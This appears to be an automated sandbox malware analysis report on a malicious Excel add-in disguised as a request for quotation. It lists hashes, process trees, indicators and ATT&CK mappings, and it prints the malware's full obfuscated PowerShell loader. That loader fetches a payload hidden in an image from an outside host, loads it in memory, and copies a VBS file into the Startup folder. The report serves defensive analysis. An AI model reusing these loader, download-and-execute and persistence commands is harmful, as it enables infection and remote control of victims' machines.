29af0f3ac7cba3adba455604931a7374c8a0da2789ebf747dc8476711712d6af

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
24/08/2023, 10:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

RFQ 27482299 23 August 2023.xlam
Size

608KB
MD5

965d35d6b68d1575a034908b2f17c415
SHA1

faec833733ab74ff570c7221ea7903bafefda77e
SHA256

29af0f3ac7cba3adba455604931a7374c8a0da2789ebf747dc8476711712d6af
SHA512

8734240107b53fa7a995c8b5f48426524ff3b58461f20d12fb8e8942505b4221e34351c2d46dc18a37eb480c565b5588ea9cb631a0437ce9d67ea163e6cb4760
SSDEEP

12288:zedF22NBxdNcoLx+U7lFOz1B4uKVAqjq+ah59tX5C6ditEcZxc6lno:upnJcelxwvhCjs59xwmuno

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2832	EQNEDT32.EXE
7	2968	powershell.exe
9	2968	powershell.exe
11	2968	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ OkK.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ OkK.vbs	powershell.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2832	EQNEDT32.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2952	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2628	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2276	powershell.exe
1660	powershell.exe
2968	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	2968	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2628	EXCEL.EXE
2628	EXCEL.EXE
2628	EXCEL.EXE

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2832 wrote to memory of 2900	2832	EQNEDT32.EXE	29
PID 2832 wrote to memory of 2900	2832	EQNEDT32.EXE	29
PID 2832 wrote to memory of 2900	2832	EQNEDT32.EXE	29
PID 2832 wrote to memory of 2900	2832	EQNEDT32.EXE	29
PID 2900 wrote to memory of 2896	2900	WScript.exe	31
PID 2900 wrote to memory of 2896	2900	WScript.exe	31
PID 2900 wrote to memory of 2896	2900	WScript.exe	31
PID 2900 wrote to memory of 2896	2900	WScript.exe	31
PID 2896 wrote to memory of 2952	2896	cmd.exe	33
PID 2896 wrote to memory of 2952	2896	cmd.exe	33
PID 2896 wrote to memory of 2952	2896	cmd.exe	33
PID 2896 wrote to memory of 2952	2896	cmd.exe	33
PID 2896 wrote to memory of 1196	2896	cmd.exe	34
PID 2896 wrote to memory of 1196	2896	cmd.exe	34
PID 2896 wrote to memory of 1196	2896	cmd.exe	34
PID 2896 wrote to memory of 1196	2896	cmd.exe	34
PID 1196 wrote to memory of 2276	1196	cmd.exe	35
PID 1196 wrote to memory of 2276	1196	cmd.exe	35
PID 1196 wrote to memory of 2276	1196	cmd.exe	35
PID 1196 wrote to memory of 2276	1196	cmd.exe	35
PID 2900 wrote to memory of 1660	2900	WScript.exe	36
PID 2900 wrote to memory of 1660	2900	WScript.exe	36
PID 2900 wrote to memory of 1660	2900	WScript.exe	36
PID 2900 wrote to memory of 1660	2900	WScript.exe	36
PID 1660 wrote to memory of 2968	1660	powershell.exe	38
PID 1660 wrote to memory of 2968	1660	powershell.exe	38
PID 1660 wrote to memory of 2968	1660	powershell.exe	38
PID 1660 wrote to memory of 2968	1660	powershell.exe	38

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\RFQ 27482299 23 August 2023.xlam"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2628

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2832
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\httuigugt.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Roaming\httuigugt.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ OkK.vbs')"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2896
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 5
      4⤵
      Runs ping.exe
      PID:2952
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Roaming\httuigugt.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ OkK.vbs')"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1196
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Roaming\httuigugt.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ OkK.vbs')
        5⤵
        Drops startup file
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2276
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DY⁂⇵Mw⁂⇵v⁂⇵DY⁂⇵Mg⁂⇵x⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵dQBu⁂⇵Gk⁂⇵dgBl⁂⇵HI⁂⇵cwBv⁂⇵F8⁂⇵dgBi⁂⇵HM⁂⇵LgBq⁂⇵H⁂⇵⁂⇵ZQBn⁂⇵D8⁂⇵MQ⁂⇵2⁂⇵Dk⁂⇵M⁂⇵⁂⇵5⁂⇵DM⁂⇵MQ⁂⇵4⁂⇵DU⁂⇵NQ⁂⇵n⁂⇵Ds⁂⇵J⁂⇵B3⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵BO⁂⇵GU⁂⇵dw⁂⇵t⁂⇵E8⁂⇵YgBq⁂⇵GU⁂⇵YwB0⁂⇵C⁂⇵⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBO⁂⇵GU⁂⇵d⁂⇵⁂⇵u⁂⇵Fc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵QgB5⁂⇵HQ⁂⇵ZQBz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵LgBE⁂⇵G8⁂⇵dwBu⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵R⁂⇵Bh⁂⇵HQ⁂⇵YQ⁂⇵o⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FU⁂⇵cgBs⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Fs⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵RQBu⁂⇵GM⁂⇵bwBk⁂⇵Gk⁂⇵bgBn⁂⇵F0⁂⇵Og⁂⇵6⁂⇵FU⁂⇵V⁂⇵BG⁂⇵Dg⁂⇵LgBH⁂⇵GU⁂⇵d⁂⇵BT⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵n⁂⇵Dw⁂⇵P⁂⇵BC⁂⇵EE⁂⇵UwBF⁂⇵DY⁂⇵N⁂⇵Bf⁂⇵FM⁂⇵V⁂⇵BB⁂⇵FI⁂⇵V⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵n⁂⇵Dw⁂⇵P⁂⇵BC⁂⇵EE⁂⇵UwBF⁂⇵DY⁂⇵N⁂⇵Bf⁂⇵EU⁂⇵TgBE⁂⇵D4⁂⇵Pg⁂⇵n⁂⇵Ds⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵BP⁂⇵GY⁂⇵K⁂⇵⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵C0⁂⇵ZwBl⁂⇵C⁂⇵⁂⇵M⁂⇵⁂⇵g⁂⇵C0⁂⇵YQBu⁂⇵GQ⁂⇵I⁂⇵⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵C0⁂⇵ZwB0⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵Kw⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵RgBs⁂⇵GE⁂⇵Zw⁂⇵u⁂⇵Ew⁂⇵ZQBu⁂⇵Gc⁂⇵d⁂⇵Bo⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵C0⁂⇵I⁂⇵⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵Ow⁂⇵k⁂⇵GI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵EM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵FM⁂⇵dQBi⁂⇵HM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Cw⁂⇵I⁂⇵⁂⇵k⁂⇵GI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵Ew⁂⇵ZQBu⁂⇵Gc⁂⇵d⁂⇵Bo⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵QgB5⁂⇵HQ⁂⇵ZQBz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Fs⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBD⁂⇵G8⁂⇵bgB2⁂⇵GU⁂⇵cgB0⁂⇵F0⁂⇵Og⁂⇵6⁂⇵EY⁂⇵cgBv⁂⇵G0⁂⇵QgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵GI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵EM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Fs⁂⇵UwB5⁂⇵HM⁂⇵d⁂⇵Bl⁂⇵G0⁂⇵LgBS⁂⇵GU⁂⇵ZgBs⁂⇵GU⁂⇵YwB0⁂⇵Gk⁂⇵bwBu⁂⇵C4⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵F0⁂⇵Og⁂⇵6⁂⇵Ew⁂⇵bwBh⁂⇵GQ⁂⇵K⁂⇵⁂⇵k⁂⇵GM⁂⇵bwBt⁂⇵G0⁂⇵YQBu⁂⇵GQ⁂⇵QgB5⁂⇵HQ⁂⇵ZQBz⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HQ⁂⇵eQBw⁂⇵GU⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bs⁂⇵G8⁂⇵YQBk⁂⇵GU⁂⇵Z⁂⇵BB⁂⇵HM⁂⇵cwBl⁂⇵G0⁂⇵YgBs⁂⇵Hk⁂⇵LgBH⁂⇵GU⁂⇵d⁂⇵BU⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵Cg⁂⇵JwBG⁂⇵Gk⁂⇵YgBl⁂⇵HI⁂⇵LgBI⁂⇵G8⁂⇵bQBl⁂⇵Cc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵bQBl⁂⇵HQ⁂⇵a⁂⇵Bv⁂⇵GQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵TQBl⁂⇵HQ⁂⇵a⁂⇵Bv⁂⇵GQ⁂⇵K⁂⇵⁂⇵n⁂⇵FY⁂⇵QQBJ⁂⇵Cc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵L⁂⇵⁂⇵o⁂⇵Cc⁂⇵d⁂⇵B4⁂⇵HQ⁂⇵LgBu⁂⇵Gc⁂⇵bwBv⁂⇵G0⁂⇵aQBz⁂⇵C8⁂⇵O⁂⇵⁂⇵0⁂⇵DI⁂⇵Lg⁂⇵x⁂⇵DU⁂⇵Lg⁂⇵2⁂⇵Dc⁂⇵Lg⁂⇵w⁂⇵Dg⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1660
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.ngoomis/842.15.67.08//:ptth');$method.Invoke($null, $arguments)"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
61KB

MD5
e56ec378251cd65923ad88c1e14d0b6e

SHA1
7f5d986e0a34dd81487f6439fb0446ffa52a712e

SHA256
32ccf567c07b62b6078cf03d097e21cbf7ef67a4ce312c9c34a47f865b3ad0a0

SHA512
2737a622ca45b532aebc202184b3e35cde8684e5296cb1f008e7831921be2895a43f952c1df88d33011a7b9586aafbd88483f6c134cb5e8e98c236f5abb5f3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
eba0e32afb241ffc5be4c58f8d662780

SHA1
49461c3e3dab67bdf930d3437e09484951c8485b

SHA256
ccaa91b8c26931aa10d94d13bf91555b035831c0e0807ef86c6dc4a86a6f3642

SHA512
394075b90a6efdd7d7d4097ce6806a3a970282fcaa9feed5ea77d7a909482f94ba912c8cfb490d268bc0b4aca35b6887499dca79b81c000f7fd8f07fb316cce1

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabB79E.tmp

Filesize
62KB

MD5
3ac860860707baaf32469fa7cc7c0192

SHA1
c33c2acdaba0e6fa41fd2f00f186804722477639

SHA256
d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

SHA512
d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarB9A8.tmp

Filesize
163KB

MD5
19399ab248018076e27957e772bcfbab

SHA1
faef897e02d9501146beb49f75da1caf12967b88

SHA256
326842dd8731e37c8c27a08373c7ac341e6c72226cc850084e3a17d26675f3c9

SHA512
6d5b12ec637ef4223fdd0e271cdc9f860b060ff08d380bba546ac6962b1d672003f9ae9556d65282d8083e830d4277bad8d16443720716077e542ab0262b0103

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TRT2IZ08JXKY75I9NODB.temp

Filesize
7KB

MD5
7a75d91c39c3bc58faed8837069712a5

SHA1
41c22a2a330781afdaa2ded804273b27fb5a6e83

SHA256
6e73edcd94176bc2b945d6d5ba15b7c2c72710bd1d7048f371987014aa6310e8

SHA512
ea6a609489081b9e85431b7ab92ae87aa876395ae4c7973a57e457d3a3b22e78ee1bce7094e3a41934dfa559680ff27e0c81a2c368facbec19fa449de00212da

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
7a75d91c39c3bc58faed8837069712a5

SHA1
41c22a2a330781afdaa2ded804273b27fb5a6e83

SHA256
6e73edcd94176bc2b945d6d5ba15b7c2c72710bd1d7048f371987014aa6310e8

SHA512
ea6a609489081b9e85431b7ab92ae87aa876395ae4c7973a57e457d3a3b22e78ee1bce7094e3a41934dfa559680ff27e0c81a2c368facbec19fa449de00212da

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
7a75d91c39c3bc58faed8837069712a5

SHA1
41c22a2a330781afdaa2ded804273b27fb5a6e83

SHA256
6e73edcd94176bc2b945d6d5ba15b7c2c72710bd1d7048f371987014aa6310e8

SHA512
ea6a609489081b9e85431b7ab92ae87aa876395ae4c7973a57e457d3a3b22e78ee1bce7094e3a41934dfa559680ff27e0c81a2c368facbec19fa449de00212da

Download Submit
C:\Users\Admin\AppData\Roaming\httuigugt.vbs

Filesize
301KB

MD5
45594cce185bf66f8c14077d9ed390b8

SHA1
4f972599caddac7144e9a4a0a9e5b65f49b9cc01

SHA256
87baa59a4b75fe0f472bdc313a04e78796eee534e457b037102f4fc8f1830d5d

SHA512
592f34e2f181a7ca800fe6b05f5c2ca3dbaac433b6a58590ff3da5167fb5e98da693d4f31e4052ae4a710d04d59359641d2569e6fb03ef65fd55d519b4491214

Download Submit
C:\Users\Admin\AppData\Roaming\httuigugt.vbs

Filesize
301KB

MD5
45594cce185bf66f8c14077d9ed390b8

SHA1
4f972599caddac7144e9a4a0a9e5b65f49b9cc01

SHA256
87baa59a4b75fe0f472bdc313a04e78796eee534e457b037102f4fc8f1830d5d

SHA512
592f34e2f181a7ca800fe6b05f5c2ca3dbaac433b6a58590ff3da5167fb5e98da693d4f31e4052ae4a710d04d59359641d2569e6fb03ef65fd55d519b4491214

Download Submit
memory/1660-26-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/1660-103-0x000000006C550000-0x000000006CAFB000-memory.dmp

Filesize
5.7MB

Download
memory/1660-23-0x000000006C550000-0x000000006CAFB000-memory.dmp

Filesize
5.7MB

Download
memory/1660-24-0x000000006C550000-0x000000006CAFB000-memory.dmp

Filesize
5.7MB

Download
memory/1660-25-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/1660-102-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/1660-52-0x000000006C550000-0x000000006CAFB000-memory.dmp

Filesize
5.7MB

Download
memory/2276-13-0x00000000007C0000-0x0000000000800000-memory.dmp

Filesize
256KB

Download
memory/2276-17-0x000000006C420000-0x000000006C9CB000-memory.dmp

Filesize
5.7MB

Download
memory/2276-14-0x00000000007C0000-0x0000000000800000-memory.dmp

Filesize
256KB

Download
memory/2276-11-0x000000006C420000-0x000000006C9CB000-memory.dmp

Filesize
5.7MB

Download
memory/2276-12-0x000000006C420000-0x000000006C9CB000-memory.dmp

Filesize
5.7MB

Download
memory/2628-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2628-1-0x0000000073E4D000-0x0000000073E58000-memory.dmp

Filesize
44KB

Download
memory/2628-15-0x0000000073E4D000-0x0000000073E58000-memory.dmp

Filesize
44KB

Download
memory/2628-105-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2628-106-0x0000000073E4D000-0x0000000073E58000-memory.dmp

Filesize
44KB

Download
memory/2968-33-0x000000006C550000-0x000000006CAFB000-memory.dmp

Filesize
5.7MB

Download
memory/2968-101-0x000000006C550000-0x000000006CAFB000-memory.dmp

Filesize
5.7MB

Download
memory/2968-32-0x000000006C550000-0x000000006CAFB000-memory.dmp

Filesize
5.7MB

Download